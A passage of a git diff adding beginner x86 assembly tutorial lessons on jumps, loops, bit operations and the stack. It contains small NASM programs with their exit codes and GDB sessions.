+Each time, the program picked **the larger one** — you built the `if (a > b)` logic in the worker's language.
+
+> 🔑 `cmp a, b` + `jl`/`jg` = the decision "is a less than / greater than b?" The "signed-comparison subtlety" mentioned in 10 has a name: **overflow** — and `jl`/`jg` knows the right flag combination for you, so you don't fuss with it by hand. The exact mechanism of this overflow is a deeper topic in signed arithmetic — it falls outside the scope of this beginner series; all you need here is to know its name, and `jl`/`jg` handles the rest for you. Just pick the right one: `jl`/`jg`/`jle`/`jge` for ordering, `je`/`jne` for equality. The pattern is the same again: **set with `cmp`, conditional-jump.**
+
+---
+
+## Putting It Together: Even or Odd?
+
+Now let's combine what you've learned in a single small but real program: given a number, write **even or odd** to the exit code (even → 0, odd → 1).
+
+How do we tell whether a number is even or odd? Recall a fact from 03 (binary numbers): a number's **rightmost (smallest) bit** tells you whether it's odd or even — if the bit is `0` it's even, if `1` it's odd. (Just like in decimal we look at the last digit and say "0,2,4,6,8 are even"; in binary we look at the last *bit*.)
+
+The way to look at that last bit is another use of the `test` from 10: `test eax, 1`. This asks, "is eax's lowest bit 1?" — if the bit is 1 (odd), ZF stays clear; if the bit is 0 (even), ZF stays set.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; the number we'll test
+ test eax, 1 ; is the lowest bit 1? (i.e. odd?)
+ jz cift ; ZF set → low bit 0 → EVEN
+ mov ebx, 1 ; if reached here → ODD
+ jmp bitir
+cift:
+ mov ebx, 0 ; EVEN
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+With `7` (odd):
+
+```
+1
+```
+
+Make it `mov eax, 8` (even) and run again:
+
+```
+0
+```
+
+**And there's the whole thing.** The knowledge of three lessons met in one program: from 03, "the last bit tells even/oddness"; from 10, "`test` sets the flag"; from 11, "`jz` reads the flag and chooses the path." This is a real program skeleton — it looks at the input, decides, and behaves differently according to the result.
+
+> 💡 **You might be wondering:** *"Why does `test eax, 1` look at the 'lowest bit'? What's going on inside?"* `test`'s working mechanism is a **bit operation** (`and`), and we haven't seen it yet — as I promised in 10, a **closed box**; the full explanation is in lesson 13 (`and`/`or`/`xor`). All you need here is its function: `test eax, 1` → writes the answer to the question "is eax odd?" into ZF. When we take the mechanism apart in 13, this will click into place.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ jmp etiket = UNCONDITIONAL jump: always go to 'etiket'; the instructions in between are SKIPPED (never run).
+ Label = a name given to a point in memory (like _start:). eip is forcibly moved there.
+☐ CONDITIONAL jumps read the flag (10). The pattern is ALWAYS the same: first cmp/test (set), then immediately conditional-jump (read).
+ - jz / je → jump if ZF is set ("if zero / equal")
+ - jnz / jne → jump if ZF is clear ("if not zero / not equal")
+ - jl / jg → after cmp a,b, jump if ab (the instruction handles the signed-ordering subtlety)
+ - jle / jge → less-or-equal / greater-or-equal
+☐ This means "IF ... THEN" (if) in machine language: the flow is no longer straight, it FORKS according to the input.
+☐ Verified programs:
+ - atla: jmp skipped mov ebx,99 → exit 1 (not 99). In gdb, eip 0x...05 → 0x...0c, the middle skipped.
+ - sifirmi: eax=0 → 100 ; eax=5 → 200 (first fork with test+jz)
+ - enbuyuk: (12,30) → 30 ; (40,30) → 40 (pick the larger with cmp+jg)
+ - ciftek: 7 → 1(odd) ; 8 → 0(even) (03 last-bit + test eax,1 + jz)
+☐ Up next: jumping BACK to the same place gives birth to a "loop" → lesson 12.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — Where we set the flags (ZF/SF) that the jumps read, and `cmp`/`test`; the far side of the "sets → reads" bridge
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The fact that "the rightmost bit tells even/oddness"; the basis of the even-odd program
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracking `eip` (the worker's "where am I" indicator) with `si`; where we saw `jmp`'s leap
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — What `eip` is; a jump is really "changing eip"
+
+---
+
+**Previous topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+**Next topic:** [12_donguler.md](./12_donguler.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
new file mode 100644
index 0000000..d0abfa2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -0,0 +1,208 @@
+# 🔁 x86 Assembly — Loops: Doing the Same Job Over and Over
+
+> In 11 we broke the program's straight road: with `jmp` we jumped **forward**, skipped instructions, branched. At the end we cracked open a little door: *"when you jump **back** to the same place, a 'loop' is born."*
+> That is the door we walk through now. Until now we always went forward; in this lesson, for the first time, we will jump **backward** — and make the worker do the same job, over and over, until we say "stop." This is the real source of the computer's "unbelievable speed" (01): tireless repetition.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Jump Backward: This Is How a Loop Is Born](#jump-backward-this-is-how-a-loop-is-born)
+- [The Infinite-Loop Danger: A Counter Is a Must](#the-infinite-loop-danger-a-counter-is-a-must)
+- [First Loop: Sum from 1 to N](#first-loop-sum-from-1-to-n)
+- [A Loop Is the Brick of Higher Operations: Multiplication](#a-loop-is-the-brick-of-higher-operations-multiplication)
+
+---
+
+## Jump Backward: This Is How a Loop Is Born
+
+In 11 we said `jmp bitir` and jumped to a label **below**. But there is no rule about where the label has to be — `jmp` can jump to **any** point in memory; forward, or **backward**.
+
+What if we put a label **above** the `jmp` and jump there? Then the worker goes back, runs the instructions in between **again**, then goes back once more... That is exactly what a **loop** is: give a point in memory a name, do the job, then `jmp` **back** to that name.
+
+```nasm
+tekrar: ; ← label, ABOVE the jmp
+ ; ... work to be done ...
+ jmp tekrar ; go back → work from the top
+```
+
+This skeleton works — but it has one problem, and that problem is the real lesson of this lesson.
+
+> 🔑 Loop = jumping **back** to a label. A forward `jmp` skips instructions; a backward `jmp` **repeats** them. We aren't learning a new instruction — we're just turning 11's `jmp` around to point backward. All of repetition comes out of this simple idea.
+
+---
+
+## The Infinite-Loop Danger: A Counter Is a Must
+
+The `jmp tekrar` above was **unconditional** (11): every time, no questions asked, it goes back. So the worker returns to `tekrar`, does the job, returns again, does it again... **forever.** The program never ends, it can never reach `int 0x80` (exit). This is called an **infinite loop**, and it is usually a bug you don't want — the machine spins in one spot, fast, for nothing.
+
+So a loop must have two parts:
+1. **The job:** the thing to be done each round.
+2. **The exit condition:** a control that says "enough now, get out of the loop" — otherwise it spins forever.
+
+How do we build the exit condition? With the material we already have: 11's **conditional** jump. The idea is this — keep a **counter** (a register that counts how many rounds are left), decrement it by one each round (`dec`, 09), and stop **when it hits zero**. We can already answer the question "did it hit zero?": if the result of `dec` is zero, **ZF** turns on (10), and `jnz` (11) says "jump if not zero."
+
+The pattern settles like this:
+
+```nasm
+ mov ecx, 5 ; counter = 5 rounds
+tekrar:
+ ; ... work ...
+ dec ecx ; counter-- (and sets ZF: when it hits zero, ZF=1)
+ jnz tekrar ; if counter is NOT 0 go back; if 0 fall through, exit the loop
+```
+
+See it? Three lessons' pieces came together: **decrement** the counter (09 `dec`), check whether the result **is zero** (10 `ZF`), and if it isn't zero, **jump back** (11 `jnz`). When the counter reaches zero, `jnz` no longer jumps — the worker "falls through" past the bottom of the loop and continues. The infinite loop was tamed with a counter.
+
+> 🔑 A solid loop = **job + exit condition.** The most common condition: `dec` a **counter** register each round, and say "if not zero, repeat" with `jnz`. When the counter hits zero, ZF turns on, `jnz` doesn't jump, the loop ends. Forget the counter → infinite loop.
+
+> ⚠️ This pattern assumes the counter starts at **1 or greater**. If you start with `mov ecx, 0`, `dec` drops the counter **below** zero (not 0, but 0xFFFFFFFF — a huge number), `jnz` doesn't stop, and the loop slides into exactly the infinite loop we just feared. If the counter could be 0, check it before entering the loop (e.g. skip the loop entirely with a `jz` up front).
+
+---
+
+## First Loop: Sum from 1 to N
+
+Let's put the pattern to real work: **sum the numbers from 1 to N** (that is, 1 + 2 + ... + N). We'll use the counter both for "how many rounds are left" and for "the number to add this round" — cleverly: as ecx counts down `3, 2, 1`, those are exactly the numbers we want to add. `toplam.asm` (N = 3):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; total = 0 (where we accumulate)
+ mov ecx, 3 ; counter = N = 3
+dongu:
+ add eax, ecx ; total += counter (WORK: 09's accumulation)
+ dec ecx ; counter-- (+ set ZF)
+ jnz dongu ; if counter not 0 go back to the top
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+> 💡 **Which flag is `jnz` reading?** In this loop there are **two** flag-setting instructions before `jnz`: first `add eax, ecx`, then `dec ecx` — both update ZF (10). The rule is simple: **every new arithmetic instruction overwrites the previous one's flag**, so `jnz` only looks at the flag of the instruction **immediately before it** (that is, `dec`'s). That's why we put `dec` right in front of `jnz`; the ZF that `add` set doesn't matter, the one in effect is `dec`'s.
+
+Turn the rounds over in your head: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` stops. Result 6 (=1+2+3). Run it:
+
+```
+nasm -f elf32 toplam.asm -o toplam.o
+ld -m elf_i386 toplam.o -o toplam
+./toplam
+echo $?
+```
+
+```
+6
+```
+
+Now let's actually **see with our own eyes** that the loop really loops. Let's put a **breakpoint** on the `dongu` label — GDB will stop every time the worker visits it — and look at the counter each time:
+
+```
+gdb ./toplam
+(gdb) break dongu # put a breakpoint on the 'dongu' label
+(gdb) run
+(gdb) print $ecx # round 1
+(gdb) continue # continue until the next 'dongu' visit
+(gdb) print $ecx # round 2
+(gdb) continue
+(gdb) print $ecx # round 3
+(gdb) continue
+```
+
+Real output (this is exactly what you see on screen):
+
+```
+Breakpoint 1 at 0x804900a
+Breakpoint 1, 0x0804900a in dongu ()
+$1 = 3
+Breakpoint 1, 0x0804900a in dongu ()
+$2 = 2
+Breakpoint 1, 0x0804900a in dongu ()
+$3 = 1
+```
+
+Let's read the lines: the same address `0x804900a` (that is, `dongu`) appears **three times** — GDB stopped there each round when the worker arrived. And `$1 = 3`, `$2 = 2`, `$3 = 1`, that is the three answers of `print $ecx`: the counter dropped by one each round, `3 → 2 → 1`. After the third `continue`, `dec` zeroed ecx, `jnz` no longer jumped; the worker fell through past the bottom of the loop and the program exited — the breakpoint was never hit again.
+
+**This is a loop.** The worker visited the same address (`0x804900a`, `dongu`) **three times** — because each round `jnz` sent it back there. And the counter dropped by one at each visit: `3 → 2 → 1`. The fourth time, `dec` zeroed ecx, `jnz` didn't jump, the worker fell through past the bottom of the loop and exited. You wrote a single program once, and the worker ran it three times — as many repetitions as you want, with a single counter.
+
+> 💡 **You might be wondering:** *"What did `break dongu` do?"* In GDB, a **breakpoint** means "stop me when the worker reaches this point." In 07 we stopped at *every* instruction with `si`; here we only stopped every time we reached `dongu`. Perfect for loops: instead of `si`-ing through each round one instruction at a time, we said "stop at the start of each round, look at the counter." And `continue` (or `c` for short) means "let it run free until the next breakpoint."
+
+---
+
+## A Loop Is the Brick of Higher Operations: Multiplication
+
+In 09 we saw a lovely secret: the machine has **no** separate subtraction circuit — subtraction was "adding the negative." The same spirit is here too. The machine's basic arithmetic is addition; so what about **multiplication**? What does `3 × 4` really mean? It means **"add 3, four times"**: 3 + 3 + 3 + 3. And "doing something N times" is now in our hands — the loop!
+
+`carp.asm` — computing `3 × 4` with repeated addition, without ever using a multiply instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; result = 0
+ mov ecx, 4 ; how many times we'll add (multiplier)
+carp:
+ add eax, 3 ; each round add the 'multiplicand' (3)
+ dec ecx ; counter--
+ jnz carp ; 4 times: 3+3+3+3
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Run it, `echo $?`:
+
+```
+12
+```
+
+`3 + 3 + 3 + 3 = 12 = 3 × 4`. If you make the 3 inside it a 7 and the counter a 6 (`7 × 6`), the result:
+
+```
+42
+```
+
+**This is the power of the loop.** From a primitive operation like addition, by repeating it, you built a bigger operation like **multiplication**. 09's theme peaks here: the machine really knows very little (add, subtract, compare, jump) — but by **repeating and combining** these, it builds everything. A few simple bricks + a loop = huge buildings.
+
+> 🔑 A loop isn't just "repetition," it's a **construction tool:** `3 × 4` = "add 3, four times." By repeating primitive operations (add) you build higher ones (multiplication). If a processor "can multiply," at the very bottom there are usually repetitions like this. (On modern x86 there is also a ready-made `mul` instruction — but the idea is always the same: repeated addition.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ LOOP = jumping BACK to a label. Forward jmp skips; backward jmp repeats. (No new instruction, 11's jmp turned backward.)
+☐ Unconditional backward jmp → INFINITE LOOP (program never ends). This is usually a BUG.
+☐ Solid loop = JOB + EXIT CONDITION. Most common pattern — COUNTER:
+ mov ecx, N
+ tekrar:
+ ; ... work ...
+ dec ecx ; 09: decrement + 10: set ZF
+ jnz tekrar ; 11: if not zero go back; if zero fall through → exit
+ (the dec+ZF+jnz trio = 09+10+11 in one place.)
+☐ Verified programs:
+ - sum (1..N): N=3 → 6 ; N=5 → 15 ; N=10 → 55.
+ gdb break dongu: same address visited 3 times, ecx 3→2→1, then exited.
+ - carp (repeated addition): 3×4 → 12 ; 7×6 → 42. ("add N, M times")
+☐ BIG IDEA: a few primitive operations (add/sub/cmp/jmp) + loop = everything. Even multiplication is repeated addition.
+☐ Up next: bit tricks often needed in the 'job' part (why xor eax,eax means 'zero out') → lesson 13.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [11_ziplamalar.md](./11_ziplamalar.md) — `jmp`/`jnz`, the loop's only material; the "jump back = loop" door was cracked open here
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The counter's "did it hit zero" decision: ZF after `dec`; the flag that ends the loop
+- [09_aritmetik.md](./09_aritmetik.md) — `add` (accumulation) and `dec`; and the "build the bigger from the primitive" idea (sub = add the negative)
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracing with GDB; here we added `break`/`continue` (stop at the start of each round, not at every instruction)
+
+---
+
+**Previous topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+**Next topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
new file mode 100644
index 0000000..bcd4567
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
@@ -0,0 +1,239 @@
+# 🎛️ x86 Assembly — Bit Operations: `and`, `or`, `xor` and Shifting
+
+> I owe you a debt from 10 and 11. We used the `test eax, eax` ("is it zero?") and `test eax, 1` ("is it odd?") instructions, but I put off what actually happens inside them as a *"closed box, we'll open it in 13."* Well, here we are in 13 — we're opening that box.
+> But first, one thing to understand: the instructions so far (`add`, `sub`) treated numbers as **a whole**. In this lesson, for the first time, we'll touch the number's **individual bits** — those 1's and 0's you met in 03 are now in our hands one at a time.
+
+> **This lesson has code and we run all of it.** Every program and every exit code below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Working Bit by Bit: How It Differs from Addition](#working-bit-by-bit-how-it-differs-from-addition)
+- [`and`: Filtering Bits with a Mask](#and-filtering-bits-with-a-mask)
+- [`or` and `xor`: Setting and Flipping Bits](#or-and-xor-setting-and-flipping-bits)
+- [`xor eax, eax`: The Most Common 'Zero It Out'](#xor-eax-eax-the-most-common-zero-it-out)
+- [Shifting: `shl` / `shr` = Fast ×2 and ÷2](#shifting-shl--shr--fast-2-and-2)
+- [Paying the Debt: `test` Was Really `and`](#paying-the-debt-test-was-really-and)
+
+---
+
+## Working Bit by Bit: How It Differs from Addition
+
+When you do `add eax, 1`, something happens: if the number overflows, a **carry** passes to the next digit (like `9 + 1 = 10` in 09, but in binary). So addition **talks** between digits — one bit affects another.
+
+Bit operations are **not** like that. Each bit is processed **on its own** with the bit across from it; it never looks at its neighbor, and there is no such thing as a carry. Write the two numbers one above the other, process each column separately — done. This is why bit operations are both very simple and very fast.
+
+There are three basic bit operations, and each answers a single question. For two bits (a and b), the rules — the **truth table** — are:
+
+```
+ a b │ and │ or │ xor
+ ────┼─────┼─────┼─────
+ 0 0 │ 0 │ 0 │ 0
+ 0 1 │ 0 │ 1 │ 1
+ 1 0 │ 0 │ 1 │ 1
+ 1 1 │ 1 │ 1 │ 0
+```
+
+In words:
+- **`and`** ("and"): 1 if **both are 1**. (Stubborn: if there's the slightest 0, it's 0.)
+- **`or`** ("or"): 1 if **at least one is 1**. (Generous: if there's the slightest 1, it's 1.)
+- **`xor`** ("exclusive or"): 1 if **exactly one is 1**; if the two are the same (0-0 or 1-1), 0. (The differ-er: it asks "are they different?")
+
+> 🔑 Bit operations process a number **bit by bit**, without a carry (unlike addition, where digits mix into each other). `and` = are both 1, `or` = is at least one 1, `xor` = is one different from the other. Their rules are the truth table above.
+
+---
+
+## `and`: Filtering Bits with a Mask
+
+The most common job for `and` is the **mask**: looking at only the bits **you want** of a number and zeroing the rest. The logic comes from the table: if you `and` a bit with `1`, it **stays as is** (`1 and 1 = 1`, `0 and 1 = 0`); if you `and` it with `0`, it gets **wiped** (`x and 0 = 0`). So the places where you put `1` "let through," the places where you put `0` "shut off" — just like a stencil.
+
+`vebit.asm` — `13 and 6`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 13 ; 1101
+ and eax, 6 ; 0110
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Column by column (recall from 03, bits from right to left):
+
+```
+ 1101 (13)
+ 0110 (6) ← mask
+ ──── and (each column: are both 1?)
+ 0100 (4)
+```
+
+Run it, `echo $?`:
+
+```
+4
+```
+
+Where the mask was `1` (the middle two bits), 13's bits were filtered and passed through; where it was `0`, they were wiped. The result is `4`.
+
+There's a **very** familiar use of this: the even-odd test from 11. If you `and` a number with `1` (that is, `0001`), **only the lowest bit** survives — and that tells you whether the number is odd/even (03). `vetek.asm`, `mov eax, 7` + `and eax, 1`:
+
+```
+1
+```
+
+`7 and 1 = 1` → lowest bit is 1 → odd. This is exactly what `test eax, 1` was really doing back in 11 (we'll tie it together completely in a moment).
+
+> 🔑 `and` is a **mask**: bits that are `1` in the mask pass through, bits that are `0` get wiped. It's the way to say "I want only these bits of this number." `and eax, 1` → only the lowest bit remains (odd/even test).
+
+---
+
+## `or` and `xor`: Setting and Flipping Bits
+
+`or`'s typical job is the opposite of `and`'s: **setting** a bit (making it 1). If you `or` a bit with `1`, it's guaranteed to become 1 (`x or 1 = 1`); if you `or` it with `0`, it stays as is. So it's the way to say "definitely make these bits 1, leave the rest alone." `veyabit.asm`, `12 or 3`:
+
+```
+ 1100 (12)
+ 0011 (3)
+ ──── or (each column: is at least one 1?)
+ 1111 (15)
+```
+
+```
+15
+```
+
+`xor`, on the other hand, **flips**. If you `xor` a bit with `1`, it turns to its opposite (`0→1`, `1→0`); if you `xor` it with `0`, it stays as is. So it means "flip these bits." But where `xor` is really famous is the little magic — pardon, little **trick** — in the next section.
+
+> 🔑 `or` **sets** a bit (definitely makes the mask's 1's into 1); `xor` **flips** a bit (turns the mask's 1's to their opposite). `and` filters/wipes, `or` sets, `xor` flips — three stencil operations.
+
+---
+
+## `xor eax, eax`: The Most Common 'Zero It Out'
+
+When you look at assembly code, you'll see this almost everywhere:
+
+```nasm
+xor eax, eax
+```
+
+At first glance it's odd: "xor eax with eax"? Look at the truth table — `xor` was asking "are the two bits **different**?" But if you xor a number with **itself**, each bit meets itself: `0 xor 0 = 0`, `1 xor 1 = 0`. Since every column is the same, **they all come out 0.** So `xor eax, eax` **zeroes out** eax, no matter what's inside it.
+
+`xorsifir.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 123 ; full inside
+ xor eax, eax ; xor with itself → 0
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Let's catch the exact moment in GDB:
+
+```
+(gdb) starti
+(gdb) si # mov eax, 123
+(gdb) info registers eax
+eax 0x7b 123
+(gdb) si # xor eax, eax
+(gdb) info registers eax
+eax 0x0 0
+```
+
+`123` (`0x7b`) became `0` in an instant. `echo $?` also gives `0`.
+
+So why this instead of `mov eax, 0`? Both zero out eax — but `xor eax, eax` takes up **less** space in machine code (and the processor loves it). This is why it's the *idiomatic* way to say "zero it out"; in other people's code you'll see `xor eax, eax` far more often than `mov eax, 0`. Now when you see it, you'll know what it is: "this just means eax = 0."
+
+> 🔑 `xor eax, eax` = **zero out eax.** When a number is xored with itself, each bit becomes `1 xor 1 = 0` / `0 xor 0 = 0` → all 0. Same result as `mov eax, 0` but encoded shorter; that's why it's the standard idiom for "zero it out." Don't stumble when you see it.
+
+---
+
+## Shifting: `shl` / `shr` = Fast ×2 and ÷2
+
+The last two bit instructions **shift bits sideways**:
+
+- `shl destination, n` → **shift left:** push all bits `n` places to the **left**, fill in with zeros from the right.
+- `shr destination, n` → **shift right:** push all bits `n` places to the **right**.
+
+Their magic comes from 03. In a decimal number, pushing a digit left and putting a 0 on the right (`5` → `50`) makes the number **×10**. Since binary's base is 2, shifting left by one is **×2**:
+
+```
+ 5 = 0000 0101
+ 5<<1 = 0000 1010 = 10 (×2)
+ 5<<3 = 0010 1000 = 40 (×2×2×2 = ×8)
+```
+
+`kaydir.asm`, `mov eax, 5` + `shl eax, 3`:
+
+```
+40
+```
+
+`5 << 3 = 5 × 2³ = 5 × 8 = 40`. The same logic in reverse: `shr` is **÷2** at each step. `kaydir2.asm`, `mov eax, 20` + `shr eax, 2`:
+
+```
+5
+```
+
+`20 >> 2 = 20 ÷ 2² = 20 ÷ 4 = 5`. Processors love this: a shift is **much faster** than a full multiply/divide. That's why, when multiplication/division by a power of 2 is needed, compilers often use `shl`/`shr` — so later, when you look at a C program's assembly (lesson 19) and see `shl ..., 3` instead of `× 8`, don't be surprised.
+
+> 🔑 `shl x, n` = shift bits left = **× 2ⁿ**; `shr x, n` = shift right = **÷ 2ⁿ**. In binary, "push left, add zero" is just like "×10" in decimal, but ×2. It's the fast way to multiply/divide; it comes free for powers of 2. (Small caveat: `shr`'s "÷2" holds only for unsigned numbers — to divide a negative number you need `sar`; `shl`, on the other hand, is a clean ×2 in both cases.)
+
+---
+
+## Paying the Debt: `test` Was Really `and`
+
+Now we can open the closed box I left back in 10 and 11. `test` is the **"result thrown away"** form of an operation you learned in this lesson — just as `cmp` is the result-thrown-away form of `sub` (10):
+
+```
+ cmp = sub but throws away the result, only sets flags
+ test = and but throws away the result, only sets flags
+```
+
+So `test eax, eax` does `eax and eax` inside (it doesn't write the result anywhere), it only looks at the flags. Since `x and x = x`, the result is eax itself; if eax is **zero**, the result is zero → **ZF is set.** This is exactly the "is eax zero?" from 10.
+
+And `test eax, 1`? Now it's plain: `eax and 1` = **only the lowest bit**. If the lowest bit is 1 (odd number), the result is not zero → ZF off; if it's 0 (even), the result is zero → ZF on. This was the whole mechanism of the even-odd test in 11 — the flag version of this section's `vetek.asm` (`7 and 1 = 1`).
+
+> 🔑 `test a, b` = `and a, b` but throws away the result, only sets flags (the same as `cmp`'s relationship to `sub`). `test eax, eax` → "is eax zero" (ZF); `test eax, 1` → "is eax odd" (lowest bit). This was the closed box in 10-11; now you've seen it.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Bit operations process a number BIT BY BIT (NO carry, digits don't mix). Truth table:
+ and = are both 1 | or = is at least one 1 | xor = are they different (one 1 one 0)
+☐ and = MASK/FILTER: what's 1 in the mask passes, what's 0 gets wiped. 13 and 6 = 4 ; x and 1 = lowest bit (odd/even).
+☐ or = SET a bit (definitely make it 1): 12 or 3 = 15.
+☐ xor = FLIP a bit (opposite). SPECIAL: xor eax, eax = ZERO OUT eax (xor with itself → always 0). The short/idiomatic form of mov eax,0.
+☐ shl x, n = shift left = × 2ⁿ (5 << 3 = 40).
+ shr x, n = shift right = ÷ 2ⁿ (20 >> 2 = 5). The fast way to multiply/divide (powers of 2).
+ Note: shr's ÷2 is only for unsigned numbers; to divide a negative you need sar.
+☐ DEBT PAID: test = and but throws away the result (same idea as cmp = sub but throws away the result).
+ test eax,eax → "is it zero" (ZF) ; test eax,1 → "is it odd". This was the closed box in 10-11.
+☐ Verified: 13&6=4, 12|3=15, xor eax,eax→0 (gdb 123→0), 7&1=1, 5<<3=40, 20>>2=5.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Bits, binary digits, and the root of the "shift left = ×base" intuition
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The idea that `test` is the "throw away the result, set flags" sibling; `cmp = sub`'s counterpart here
+- [11_ziplamalar.md](./11_ziplamalar.md) — The even-odd decision with `test eax, 1`; its mechanism (`and`) was opened right here in this lesson
+- [09_aritmetik.md](./09_aritmetik.md) — The "carry-bearing" nature of addition; its contrast with the "carry-free" nature of bit operations
+
+---
+
+**Previous topic:** [12_donguler.md](./12_donguler.md)
+**Next topic:** [14_stack.md](./14_stack.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
new file mode 100644
index 0000000..7b296a6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
@@ -0,0 +1,162 @@
+# 🗂️ x86 Assembly — The Stack: The Worker's Notebook
+
+> You finished Unit 2: the worker now does arithmetic (09), makes decisions (10-11), builds loops (12), plays with bits (13). But there's a problem, and it will only grow: **too few hands.** We saw it in 04.5 — a handful of registers (eax, ebx, ecx...), and that's all. So what if you need to set aside more numbers than you can hold?
+> That's the subject of this unit: giving the worker a **notebook**. Its name is the **stack**, and as you'll see shortly, this notebook is also the foundation of the next two lessons — functions.
+
+> **There's code in this lesson and we run all of it.** Every program below, every exit code, and every GDB output is real: I compiled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [The Worker's Notebook: What Is the Stack?](#the-workers-notebook-what-is-the-stack)
+- [`push` / `pop`: Put on Top, Take from Top](#push--pop-put-on-top-take-from-top)
+- [LIFO: Last In, First Out](#lifo-last-in-first-out)
+- [`esp` and 'Why Does the Stack Grow Downward?'](#esp-and-why-does-the-stack-grow-downward)
+
+---
+
+## The Worker's Notebook: What Is the Stack?
+
+Registers are fast but **few** (04.5). When you need to do a new job in the middle of a calculation without losing a value you're holding, you have to **set it down** somewhere temporarily. You could open a named box in memory (`section .data`, 08) — but making up a name for every temporary value is tedious. You need something more practical: quickly "set this aside," then "take it back."
+
+That's what the **stack** is for: a special region of memory that the worker uses for temporary notes. The name fits perfectly — think of a **stack of plates**:
+
+- You put a new plate **on top** (`push`).
+- When you take a plate, you again take it **from the top** (`pop`).
+- You can't pull one out of the middle or from the bottom — always from the top.
+
+This "always from the top" rule looks simple but is very powerful; we'll give it a name shortly (LIFO). For now, the mental image: the stack = the worker's notebook, where notes are added on top and taken from the top.
+
+> 🔑 **Stack** = the region of memory used to set down temporary values and take them back; the worker's "notebook." It exists because registers are few. The rule: like a stack of plates, work is always done **from the top** — put on top, take from top.
+
+---
+
+## `push` / `pop`: Put on Top, Take from Top
+
+You talk to the stack with two instructions:
+
+- `push source` → **put** `source` **on top** of the stack.
+- `pop destination` → take the value at the **top** of the stack, put it in `destination` (and remove it from the top).
+
+So how does the worker know where the "top" is? A special register tracks it: **`esp`** (*stack pointer*). `esp` always holds the address of the value at the **top of the stack**; that is, `[esp]` (the square brackets from 08!) = the value on top.
+
+- When you `push`: `esp` points to a new location and the value is written there — the top rises.
+- When you `pop`: the value at `[esp]` is read and `esp` points to an older location — the top falls.
+
+This movement of `esp` holds the stack's most confusing yet most elegant detail (last section). First, let's see the instructions in action.
+
+> 🔑 `push x` = put x on top of the stack; `pop r` = take the top value into r (and remove it). The **`esp`** register always points to the top; `[esp]` = the value on top. `push` grows the top, `pop` shrinks it.
+
+---
+
+## LIFO: Last In, First Out
+
+The stack of plates' "always from the top" rule has a consequence: the last plate you put down is the first one you take back. This is called **LIFO** — *Last In, First Out*. Let's prove it with a program. `stack.asm` — let's put three numbers down in order and take them back in order:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 10 ; put: 10
+ push dword 20 ; put: 20 (on top of 10)
+ push dword 30 ; put: 30 (at the very top)
+ pop eax ; take: the top → 30
+ pop ebx ; take: the next → 20
+ pop ecx ; take: the next → 10
+ mov ebx, eax ; put what we took first (30) into the exit
+ mov eax, 1
+ int 0x80
+```
+
+A small detail: why is that `dword` there in `push dword 10`? `10` is a bare number; the assembler can't tell how many bytes to push it onto the stack as, so you tell it by saying `dword` (= 4 bytes). In `pop eax`, though, `eax` is a register whose size is already known (32-bit) — there you don't need to write `dword`.
+
+Follow the order: we put down `10, 20, 30` (30 was last, on top). When taking them back we started from the top: the first `pop` took **30** (the one we put down last), then 20, then 10. So they came back in **reverse** order. Run it:
+
+```
+nasm -f elf32 stack.asm -o stack.o
+ld -m elf_i386 stack.o -o stack
+./stack
+echo $?
+```
+
+```
+30
+```
+
+The first `pop` brought back the `30` we put down last — the exit code confirms it. **Last in, first out.** The order in was `10→20→30`, the order out was `30→20→10`. The stack's whole character is in that one word: LIFO.
+
